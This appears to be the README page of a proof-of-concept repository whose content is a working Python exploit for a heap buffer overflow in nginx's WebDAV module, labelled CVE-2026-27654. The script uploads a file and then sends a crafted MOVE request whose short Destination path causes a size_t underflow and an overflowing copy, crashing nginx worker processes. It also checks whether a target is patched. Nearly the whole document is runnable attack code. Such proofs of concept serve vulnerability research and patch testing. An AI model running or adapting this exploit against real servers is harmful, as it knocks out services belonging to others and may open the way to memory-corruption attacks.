README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-27654 -- nginx ngx_http_dav_module heap buffer overflow
PoC crash trigger
Usage
-----
# Against Docker-based vulnerable instance (see run.sh):
python3 poc.py --target 127.0.0.1:8080
# Against locally built nginx (see run.sh --local):
python3 poc.py --target 127.0.0.1:8888
python3 poc.py --target 127.0.0.1:8080 --verbose
python3 poc.py --target 127.0.0.1:8080 --no-put # if file already exists
Dependencies: requests (pip install requests)
"""
import argparse
import sys
import time
import requests
# Location prefix as configured in nginx.conf (length = 9 bytes)
LOCATION_PREFIX = "/uploads/"
LOCATION_PREFIX_LEN = len(LOCATION_PREFIX) # 9
# Alias string length as configured in nginx.conf: "/data/files/" = 13 bytes.
# The destination URI path component after stripping the location prefix must
# be shorter than this alias length to trigger the underflow. Any path shorter
# than 13 bytes works; "/x" (2 bytes) is the minimal reliable trigger.
ALIAS_LEN = 13
# Trigger: dest.len(2) - name.len(9) = 0xFFFFFFFFFFFFFFF9 (underflow)
TRIGGER_DESTINATION_PATH = "/x"
TRIGGER_DEST_LEN = len(TRIGGER_DESTINATION_PATH) # 2
TEST_FILENAME = "triggerfile.txt"
TEST_CONTENT = b"CVE-2026-27654 trigger payload\n"
def put_file(session, base_url, verbose):
url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}"
print(f"[*] PUT {url}")
try:
r = session.put(url, data=TEST_CONTENT, timeout=10)
if verbose:
print(f" Status: {r.status_code}")
print(f" Body: {r.text[:200]}")
if r.status_code in (200, 201, 204):
print(f"[+] PUT succeeded ({r.status_code})")
return True
print(f"[-] PUT failed ({r.status_code}): {r.text[:120]}")
return False
except requests.exceptions.ConnectionError as exc:
print(f"[-] PUT connection error: {exc}")
return False
def send_move(session, base_url, target_host, verbose):
"""Send the triggering MOVE request.
The Destination header must be an absolute URI per RFC 4918. nginx extracts
the URI path (/x) and subtracts clcf->name.len (9) to get duri.len:
duri.len = len("/x") - len("/uploads/") = 2 - 9 (size_t) = 0xFFFFFFFFFFFFFFF9
path.len = clcf->alias(13) + duri.len wraps to 6 on 64-bit addition.
ngx_pnalloc allocates 7 bytes. ngx_copy then uses the original underflowed
duri.len as its count -> heap overflow.
Non-ASan: worker crashes with SIGSEGV (signal 11), connection is reset.
Corrupted lstat path may appear in error log before the fault.
ASan: process aborts with negative-size-param: (size=-7) at memcpy.
The -7 = path.len(6) - clcf->alias(13), confirming the arithmetic.
"""
src_url = f"{base_url}{LOCATION_PREFIX}{TEST_FILENAME}"
destination = f"http://{target_host}{TRIGGER_DESTINATION_PATH}"
underflow = (TRIGGER_DEST_LEN - LOCATION_PREFIX_LEN) % (2 ** 64)
wrapped_pathlen = (ALIAS_LEN + underflow) % (2 ** 64)
headers = {
"Destination": destination,
"Overwrite": "T",
}
print(f"[*] MOVE {src_url}")
print(f" Destination: {destination}")
print(f" dest.len={TRIGGER_DEST_LEN}, name.len={LOCATION_PREFIX_LEN}, "
f"alias={ALIAS_LEN}")
print(f" duri.len (underflow) = 0x{underflow:016x}")
print(f" path.len (wrap) = {wrapped_pathlen} "
f"-> ngx_pnalloc({wrapped_pathlen + 1}) bytes allocated")
print(f" ngx_copy count = 0x{underflow:016x} -> heap overflow")
try:
r = session.request(
method="MOVE",
url=src_url,
headers=headers,
timeout=5,
)
if verbose:
print(f" Status: {r.status_code}")
print(f" Body: {r.text[:300]}")
return r.status_code
except requests.exceptions.ConnectionError:
# Worker crashed mid-request -- this is the expected crash indicator
# on non-ASan builds. ASan builds abort before any data is written,
# so the connection may also be reset by the aborted process.
return None
except requests.exceptions.ReadTimeout:
return "TIMEOUT"
def check_alive(session, base_url):
try:
session.get(base_url, timeout=3)
return True
except requests.exceptions.ConnectionError:
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-27654 nginx dav_module heap overflow PoC"
)
parser.add_argument(
"--target",
default="127.0.0.1:8080",
metavar="HOST:PORT",
help="Target nginx instance (default: 127.0.0.1:8080)",
)
parser.add_argument(
"--verbose", "-v",
action="store_true",
help="Show full HTTP responses",
)
parser.add_argument(
"--no-put",
action="store_true",
help="Skip the initial PUT (assume file already exists)",
)
args = parser.parse_args()
target_host = args.target
if not target_host.startswith("http"):
base_url = f"http://{target_host}"
else:
base_url = target_host
target_host = target_host.replace("http://", "").replace("https://", "")
session = requests.Session()
print("=" * 62)
print("CVE-2026-27654 -- nginx dav_module heap buffer overflow")
print("=" * 62)
print(f"Target: {base_url}")
print()
print("[*] Checking target connectivity...")
if not check_alive(session, base_url):
print("[-] Target is not reachable.")
print(" Docker: docker compose up -d --build")
print(" Local: ./run.sh --local (builds nginx from source)")
sys.exit(1)
print("[+] Target is up")
print()
if not args.no_put:
if not put_file(session, base_url, args.verbose):
print("[!] PUT failed. Check that the DAV location uses 'alias' + 'dav_methods'.")
sys.exit(1)
print()
print("[*] Sending crafted MOVE to trigger size_t underflow...")
print()
status = send_move(session, base_url, target_host, args.verbose)
print()
if status is None:
print("[!!!] Connection reset -- worker process crashed (SIGSEGV).")
print(" Non-ASan: check error log for \"worker process <pid> exited on signal 11\"")
print(" and for corrupted lstat path (e.g. lstat() \"cept\" failed)")
print(" ASan: check error log for AddressSanitizer: negative-size-param")
outcome = "CRASH"
elif status == "TIMEOUT":
print("[!] Request timed out -- worker may be restarting.")
outcome = "TIMEOUT"
else:
print(f"[*] Server responded with HTTP {status}.")
if status == 400:
print(" 400 Bad Request -- target is PATCHED (fix in 1.28.3/1.29.7).")
elif status in (500, 502, 503):
print(" 5xx -- worker restart may be in progress.")
else:
print(" Unexpected response -- target may be misconfigured.")
outcome = f"HTTP_{status}"
print("[*] Waiting 2s for master to respawn worker...")
time.sleep(2)
if check_alive(session, base_url):
print("[+] nginx master is still up (worker respawned). Crash confirmed + recovery OK.")
else:
print("[-] nginx master also down. Process may have fully exited.")
print()
print(f"Result: {outcome}")
if __name__ == "__main__":
main()